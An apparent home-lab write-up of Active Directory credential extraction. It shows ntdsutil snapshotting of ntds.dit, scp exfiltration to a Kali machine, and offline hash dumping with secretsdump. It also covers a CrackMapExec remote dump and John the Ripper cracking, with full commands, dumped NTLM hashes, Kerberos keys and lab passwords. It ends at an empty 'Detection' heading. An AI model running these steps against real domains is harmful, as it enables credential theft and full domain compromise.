NTDS.dit extraction

Domain Controller Credential Extraction

Phase 1: Local Shadow Copy & Data Exfiltration

Once initial access to a high-privileged account (like `naruto_uzumaki07`) is obtained, the attacker uses the native Windows utility `ntdsutil.exe` to create an "Install from Media" (IFM) set. This bypasses the file lock on the active Active Directory database.

- **Action:** Creating a full snapshot of the NTDS database and the SYSTEM/SECURITY registry hives.
- **Attached Evidence:** — Shows `ntdsutil` successfully creating the snapshot in `C:\temp`.

```
PS C:\Users\naruto_uzumaki07> powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\temp' q q"
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full C:\temp
Creating snapshot...
Snapshot set {f13b3c6a-57b6-49fd-a99d-fefb223e5eb3} generated successfully.
Snapshot {b4a282c8-8688-461e-8c20-d8236d80edc8} mounted as C:\$SNAP_202602171048_VOLUMEC$\
Snapshot {b4a282c8-8688-461e-8c20-d8236d80edc8} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_202602171048_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: C:\temp\Active Directory\ntds.dit

                Defragmentation  Status (omplete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ....................................................

Copying registry files...
Copying C:\temp\registry\SYSTEM
Copying C:\temp\registry\SECURITY
Snapshot {b4a282c8-8688-461e-8c20-d8236d80edc8} unmounted.
IFM media created successfully in C:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
```

Following the creation of these files, they are compressed and exfiltrated to the attacker's machine (Kali Linux) using `scp`.

- **Action:** Compressing the `temp` directory and transferring it via Secure Copy.
- **Attached Evidence:** — Shows the `Compress-Archive` command and the successful `scp` transfer to `192.168.56.20`.

```
PS C:\Users\naruto_uzumaki07> Compress-Archive -Path "C:\temp" -DestinationPath "C:\temp.zip"
PS C:\Users\naruto_uzumaki07> scp "C:\temp.zip" kali@192.168.56.20:/home/kali/Downloads
The authenticity of host '192.168.56.20 (192.168.56.20)' can't be established.
ECDSA key fingerprint is SHA256:/5JQQiKn6iagBhJS4g8mMorKS7oo2NiaAbJCbBEodJI.
Are you sure you want to continue connecting (yes/no)?
Warning: Permanently added '192.168.56.20' (ECDSA) to the list of known hosts.
kali@192.168.56.20's password:
temp.zip                                              100% 4035KB  36.6MB/s   00:00
```

Phase 2: Offline NTDS Dumping

With the database (`ntds.dit`) and the registry hives (which contain the boot key needed for decryption) now on the attacker's machine, the credentials can be extracted offline.

- **Action:** Using Impacket's `secretsdump.py` to decrypt and dump the NT hashes.
- **Attached Evidence:** — Displays the decryption process using the `PEK` (Password Encryption Key) and the initial list of decrypted hashes.

```
┌──(root㉿ kali)-[/home/.../ADProject/method5/ntds/temp]
└─# python3 /home/kali/Desktop/impacket/build/scripts-3.13/secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xbb790f52642435a8b11f57ef511d5843
[-] SAM hashes extraction failed: SAMHashes.__init__() got an unexpected keyword argument 'history'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d302ab3610a9ab097be584ec0b854495
[*] Reading and decrypting hashes from Active Directory\ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:41519845566893ac176d44a56d5baad3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
naruto_uzumaki07:1000:aad3b435b51404eeaad3b435b51404ee:41519845566893ac176d44a56d5baad3:::
DC01$:1001:aad3b435b51404eeaad3b435b51404ee:4a1b54605031889c862565ba05b3f202:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3c6baa7af15449f981593f8efc83df5d:::
lab.local\hashirama_senju:1109:aad3b435b51404eeaad3b435b51404ee:05ca2590d95a74ea4307c1de34fcc650:::
lab.local\tobirama_senju:1110:aad3b435b51404eeaad3b435b51404ee:d360ab39fa98d48e35170a3e45bf30c5:::
lab.local\hiruzen_sarutobi:1111:aad3b435b51404eeaad3b435b51404ee:10764543c4f8c4f0cf9ad3075a5ea547:::
lab.local\minato_namikaze:1112:aad3b435b51404eeaad3b435b51404ee:976675562c5b948bb84ad36fa02e481d:::
lab.local\tsunade_hokage:1113:aad3b435b51404eeaad3b435b51404ee:a47de49244e4c6c53e99d7caa4d81301:::
lab.local\kakashi_hokage:1114:aad3b435b51404eeaad3b435b51404ee:b2a878241eefe174635b7777dd299dc1:::
lab.local\naruto_hokage:1115:aad3b435b51404eeaad3b435b51404ee:54b33dea137a78622b62e8184dbcd9ae:::
lab.local\naruto_uzumaki:1116:aad3b435b51404eeaad3b435b51404ee:bd0f21ed526a885b378895679a412387:::
lab.local\sasuke_uchiha:1117:aad3b435b51404eeaad3b435b51404ee:10702c86d7ee26a6d0bfc22acf91dbb6:::
lab.local\sakura_haruno:1118:aad3b435b51404eeaad3b435b51404ee:4b8f2f6eec881d0bb1809041a2422f04:::
lab.local\kakashi_hatake:1119:aad3b435b51404eeaad3b435b51404ee:92bc83b0ac65621d095f424491d845ba:::
lab.local\hinata_hyuga:1120:aad3b435b51404eeaad3b435b51404ee:c737a0ca8ea637ddb7edb42dbf493a8d:::
lab.lc  al\shikamaru_nara:1121:aad3b435b51404eeaad3b435b51404ee:cd3171623ab9ea4090e74c8c1dba7e8e:::
```

The resulting output provides a comprehensive list of every user account in the `lab.local` domain and their corresponding NTLM hashes.

- **Attached Evidence:** — Provides the full list of domain user hashes (Hashirama, Tobirama, etc.).

```
lab.local\hashirama_senju:1109:aad3b435b51404eeaad3b435b51404ee:05ca2590d95a74ea4307c1de34fcc650:::
lab.local\tobirama_senju:1110:aad3b435b51404eeaad3b435b51404ee:d360ab39fa98d48e35170a3e45bf30c5:::
lab.local\hiruzen_sarutobi:1111:aad3b435b51404eeaad3b435b51404ee:10764543c4f8c4f0cf9ad3075a5ea547:::
lab.local\minato_namikaze:1112:aad3b435b51404eeaad3b435b51404ee:976675562c5b948bb84ad36fa02e481d:::
lab.local\tsunade_hokage:1113:aad3b435b51404eeaad3b435b51404ee:a47de49244e4c6c53e99d7caa4d81301:::
lab.local\kakashi_hokage:1114:aad3b435b51404eeaad3b435b51404ee:b2a878241eefe174635b7777dd299dc1:::
lab.local\naruto_hokage:1115:aad3b435b51404eeaad3b435b51404ee:54b33dea137a78622b62e8184dbcd9ae:::
lab.local\naruto_uzumaki:1116:aad3b435b51404eeaad3b435b51404ee:bd0f21ed526a885b378895679a412387:::
lab.local\sasuke_uchiha:1117:aad3b435b51404eeaad3b435b51404ee:10702c86d7ee26a6d0bfc22acf91dbb6:::
lab.local\sakura_haruno:1118:aad3b435b51404eeaad3b435b51404ee:4b8f2f6eec881d0bb1809041a2422f04:::
lab.local\kakashi_hatake:1119:aad3b435b51404eeaad3b435b51404ee:92bc83b0ac65621d095f424491d845ba:::
lab.local\hinata_hyuga:1120:aad3b435b51404eeaad3b435b51404ee:c737a0ca8ea637ddb7edb42dbf493a8d:::
lab.local\shikamaru_nara:1121:aad3b435b51404eeaad3b435b51404ee:cd3171623ab9ea4090e74c8c1dba7e8e:::
lab.local\ino_yamanaka:1122:aad3b435b51404eeaad3b435b51404ee:78c93f1e126ebbedece7f5d0a58c1a4c:::
lab.local\choji_akimichi:1123:aad3b435b51404eeaad3b435b51404ee:e57655c485d792f68f52bd587b31e633:::
lab.local\kiba_inuzuka:1124:aad3b435b51404eeaad3b435b51404ee:c164f1c040475de72a34244bb7318833:::
lab.local\shino_aburame:1125:aad3b435b51404eeaad3b435b51404ee:7e0d950dd21977c7319de448211a856b:::
lab.local\rock_lee:1126:aad3b435b51404eeaad3b435b51404ee:62bef8f2597ebeb13680b6dca38fc235:::
lab.local\neji_hyuga:1127:aad3b435b51404eeaad3b435b51404ee:90bfd5005752dbd19aaff3694c94cab6:::
lab.local\tenten:1128:aad3b435b51404eeaad3b435b51404ee:456349de4975f5d8763a43f5b17c26e0:::
lab.local\gaara_sabaku:1129:aad3b435b51404eeaad3b435b51404ee:7ffdd11683adc24218e3df2a601d4bbc:::
lab.local\temari:1130:aad3b435b51404eeaad3b435b51404ee:89afeb0ab2e83d9b59c65f3e25ee0e32:::
lab.local\kankuro:1131:aad3b435b51404eeaad3b435b51404ee:e0366e06e7caea82eef3c75f3da812a4:::
lab.local\itachi_uchiha:1132:aad3b435b51404eeaad3b435b51404ee:9eaa5fd8750737ebc3850b842bd34d20:::
lab.local\kisame_hoshigaki:1133:aad3b435b51404eeaad3b435b51404ee:f1a79aa13ca9206010d96ece3ef21226:::
lab.local\deidara:1134:aad3b435b51404eeaad3b435b51404ee:081e3a691eb7e2d0dc564d7e3f7e0327:::
lab.local\sasori:1135:aad3b435b51404eeaad3b435b51404ee:e08c815cc3adf22dc1cb21ce62830705:::
lab.lc  al\hidan:1136:aad3b435b51404eeaad3b435b51404ee:65148ba813f92c2b6463179017db70e8:::
```

Phase 3: Service Account & Machine Account Analysis

The attacker further analyzes the dump to identify Kerberos keys and machine account credentials, which are vital for lateral movement and persistence (e.g., Silver/Golden Ticket attacks).

- **Action:** Identifying AES and DES keys for service accounts and computer accounts (e.g., `LABCLIENT01$`).
- **Attached Evidence:** — Shows the Kerberos encryption keys extracted from the database.

```
WEAKPC$:aes128-cts-hmac-sha1-96:71d5ca52ad0db3c5e4a36ffaf2b3496b
WEAKPC$:des-cbc-md5:ec08041cd36beaba
LABCLIENT01$:aes256-cts-hmac-sha1-96:58206f89c5d958c6c4a509a5e38406133895b872ffcf3609288af484a5680cf2
LABCLIENT01$:aes128-cts-hmac-sha1-96:582f2ee1925af15ea63c8c89140d017c
LABCLIENT01$:des-cbc-md5:dcf7c7bcf7f1a464
DESKTOP-ULCTEDH$:aes256-cts-hmac-sha1-96:4bf8efd7ffafe07f94072b0ae2c3c4bb9480fd9bda3115e5c128de6284bf6f51
DESKTOP-ULCTEDH$:aes128-cts-hmac-sha1-96:f0cdcda1fe5c3392bd4949e3014cf575
DESKTOP-ULCTEDH$:des-cbc-md5:e3bf37ce5dd985f1
deva:aes256-cts-hmac-sha1-96:7903087de234c6b7dae057fab059fd4aefa92e58556de2ce0fb2c8b5e73e9623
deva:aes128-cts-hmac-sha1-96:d92cbd10f546838bace4d328a70519b7
deva:des-cbc-md5:26b0c23b45291340
geeta:aes256-cts-hmac-sha1-96:3e38e04532f24d1d59035a634a1f7aab47e27dd9b415649b24577cf1cab73d27
geeta:aes128-cts-hmac-sha1-96:f93244188ea17dfb99e73873b6e22ae3
geeta:des-cbc-md5:a2ae732abc8cf708
fakepc$:aes256-cts-hmac-sha1-96:b0a259ff8d5b23cc7500e76eee9dd141a8d17c7ccb59465a9141dd7deefa20f6
fakepc$:aes128-cts-hmac-sha1-96:64c1104491c3e7665339d355288805e9
fakepc$:des-cbc-md5:3b4698a7ab08439e
fake$:aes256-cts-hmac-sha1-96:c964a222398de2f0640ec8ecb71207a551610a6cece9e210e9e4814f2a36fb34
fake$:aes128-cts-hmac-sha1-96:e862f063587f32eb9126a1cb70643b02
fake$:des-cbc-md5:3d6719769e70168c
faked$:aes256-cts-hmac-sha1-96:b2d3c4ad805cce3e1ccf4f605f4a4519d375fb3ee1e447b1bd4bd64d4ff6cd56
faked$:aes128-cts-hmac-sha1-96:905a4b92c461eabf30f02426e2159cbc
faked$:des-cbc-md5:c15be013d010011f
[*] Cleaning up...
```

Phase 4: Automated Domain Dumping (Alternative Method)

As an alternative to the manual `ntdsutil` method, the attacker demonstrates the use of `CrackMapExec` (CME) to perform a `drsuapi` dump. This method is noisier but much faster as it requests the data directly from the Domain Controller over the network.

- **Action:** Using CME with the `-ntds drsuapi` flag to dump hashes directly.
- **Attached Evidence:** — Shows CME successfully "pwn3d!" the DC and dumping hashes.

```
┌──(root㉿ kali)-[/home/...ADProject/method5/ntds/temp]
└─# crackmapexec smb 192.168.56.10 -u 'naruto_uzumaki07' -p 'Konoha@123' --ntds drsuapi
SMB         192.168.56.10   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:lab.local) (signing:True)
(SMBv1:False)
SMB         192.168.56.10   445    DC01             [+] lab.local\naruto_uzumaki07:Konoha@123 (Pwn3d!)
SMB         192.168.56.10   445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.56.10   445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:41519845566893ac176d44a56d5baad3:::
SMB         192.168.56.10   445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.10   445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3c6baa7af15449f981593f8efc83df5d:::
SMB         192.168.56.10   445    DC01             naruto_uzumaki07:1000:aad3b435b51404eeaad3b435b51404ee:41519845566893ac176d44a56d5baad3:::
SMB         192.168.56.10   445    DC01             lab.local\hashirama_senju:1109:aad3b435b51404eeaad3b435b51404ee:05ca2590d95a74ea4307c1de34f
cc650:::
SMB         192.168.56.10   445    DC01             lab.local\tobirama_senju:1110:aad3b435b51404eeaad3b435b51404ee:d360ab39fa98d48e35170a3e45bf
30c5:::
SMB         192.168.56.10   445    DC01             lab.local\hiruzen_sarutobi:1111:aad3b435b51404eeaad3b435b51404ee:10764543c4f8c4f0cf9ad3075a
5ea547:::
SMB         192.168.56.10   445    DC01             lab.local\minato_namikaze:1112:aad3b435b51404eeaad3b435b51404ee:976675562c5b948bb84ad36fa02
e481d:::
SMB         192.168.56.10   445    DC01             lab.local\tsunade_hokage:1113:aad3b435b51404eeaad3b435b51404ee:a47de49244e4c6c53e99d7caa4d8
1301:::
SMB         192.168.56.10   445    DC01             lab.local\kakashi_hokage:1114:aad3b435b51404eeaad3b435b51404ee:b2a878241eefe174635b7777dd29
9dc1:::
SMB         192.168.56.10   445    DC01             lab.local\naruto_hokage:1115:aad3b435b51404eeaad3b435b51404ee:54b33dea137a78622b62e8184dbcd
9ae:::
SMB         192.168.56.10   445    DC01             lab.local\naruto_uzumaki:1116:aad3b435b51404eeaad3b435b51404ee:bd0f21ed526a885b378895679a41
2387:::
SMB         192.168.56.10   445    DC01             lab.local\sasuke_uchiha:1117:aad3b435b51404eeaad3b435b51404ee:10702c86d7ee26a6d0bfc22acf91d
bb6:::
```

- **Attached Evidence:** — Confirms 67 NTDS hashes were dumped and saved to the local database.

```
SMB     192.168.56.10  445   DC01     lab.local\tsunade:1144:aad3b435b51404eeaad3b435b51404ee:b7e3f4bfddac9f60149548d0334e033f:::
SMB     192.168.56.10  445   DC01     lab.local\orochimaru:1145:aad3b435b51404eeaad3b435b51404ee:9e1f8f2bf297528ce85ab97c4a8ed165
:::
SMB     192.168.56.10  445   DC01     svc_ramen:1146:aad3b435b51404eeaad3b435b51404ee:a2652fb6eb9db1087289dd571c0426a3:::
SMB     192.168.56.10  445   DC01     svc_scroll:1147:aad3b435b51404eeaad3b435b51404ee:a2652fb6eb9db1087289dd571c0426a3:::
SMB     192.168.56.10  445   DC01     svc_kunai:1148:aad3b435b51404eeaad3b435b51404ee:a2652fb6eb9db1087289dd571c0426a3:::
SMB     192.168.56.10  445   DC01     svc_shuriken:1149:aad3b435b51404eeaad3b435b51404ee:a2652fb6eb9db1087289dd571c0426a3:::
SMB     192.168.56.10  445   DC01     svc_summon:1150:aad3b435b51404eeaad3b435b51404ee:a2652fb6eb9db1087289dd571c0426a3:::
SMB     192.168.56.10  445   DC01     show:1154:aad3b435b51404eeaad3b435b51404ee:08cca2e28a1c19f2befd78c4a9116873:::
SMB     192.168.56.10  445   DC01     kavish:1155:aad3b435b51404eeaad3b435b51404ee:79ecb86f6c39efcb29c9c64466568b58:::
SMB     192.168.56.10  445   DC01     geet:1156:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     kiba:1157:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     gaara:1158:aad3b435b51404eeaad3b435b51404ee:f88d356e89d300baac96b35dc521f80a:::
SMB     192.168.56.10  445   DC01     lno:1159:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     nobita:1160:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     ninja:1161:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     hattori:1162:aad3b435b51404eeaad3b435b51404ee:88e6edd538fa810c3d514744367011d1:::
SMB     192.168.56.10  445   DC01     sql_svc:1163:aad3b435b51404eeaad3b435b51404ee:cb8a4[illegible]76793010d60f5dc:::
SMB     192.168.56.10  445   DC01     svc_constrained:1167:aad3b435b51404eeaad3b435b51404ee:[illegible]fbae931b73c59d7e0c089c0:::
SMB     192.168.56.10  445   DC01     deva:1168:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     geeta:1169:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB     192.168.56.10  445   DC01     DC01$:1001:aad3b435b51404eeaad3b435b51404ee:4a1b54605031889c862565ba05b3f202:::
SMB     192.168.56.10  445   DC01     WEAKPC$:1164:aad3b435b51404eeaad3b435b51404ee:7bc0a2bc33d2236fca43a74bf5e1c375:::
SMB     192.168.56.10  445   DC01     LABCLIENT01$:1165:aad3b435b51404eeaad3b435b51404ee:eb67b0f5c9a0dd040439be9b124b34f9:::
SMB     192.168.56.10  445   DC01     DESKTOP-ULCTEDH$:1166:aad3b435b51404eeaad3b435b51404ee:62f601bb87dc1a90937a8037b5cd4774:::
SMB     192.168.56.10  445   DC01     fakepc$:1170:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
SMB     192.168.56.10  445   DC01     fake$:1171:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
SMB     192.168.56.10  445   DC01     faker$:1172:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB     192.168.56.10  445   DC01     faked$:1173:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
SMB     192.168.56.10  445   DC01     [+] Dumped 67 NTDS hashes to /root/.cme/logs/DC01_192.168.56.10_2026-02-17_005941.ntds of w
hich 59 were added to the database
```

Phase 5: Password Cracking (Cracking the Hash)

Finally, the attacker attempts to convert the NTLM hashes back into plaintext passwords using a wordlist attack.

- **Action:** Using `John the Ripper` with a custom wordlist (`passwd.txt`) to crack the hash of the `tsunade_hokage` user.
- **Results:**
  - **Plaintext Found:** `Byakugou!555`
  - **User:** `tsunade_hokage`
- **Attached Evidence:** — Shows the successful cracking of the NT hash and the final plaintext result.

```
┌──(root㉿ kali)-[/home/kali/Downloads/ADProject/method5]
└─# john hash --format=nt --wordlist=passwd.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Byakugou!555     (?)
1g 0:00:00:00 DONE (2026-02-17 01:14) 33.33g/s 1333p/s 1333c/s 1333C/s Mokuton@1000..Konoha123!
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

┌──(root㉿ kali)-[/home/kali/Downloads/ADProject/method5]
└─# cat hash
a47de49244e4c6c53e99d7caa4d81301
```

Detection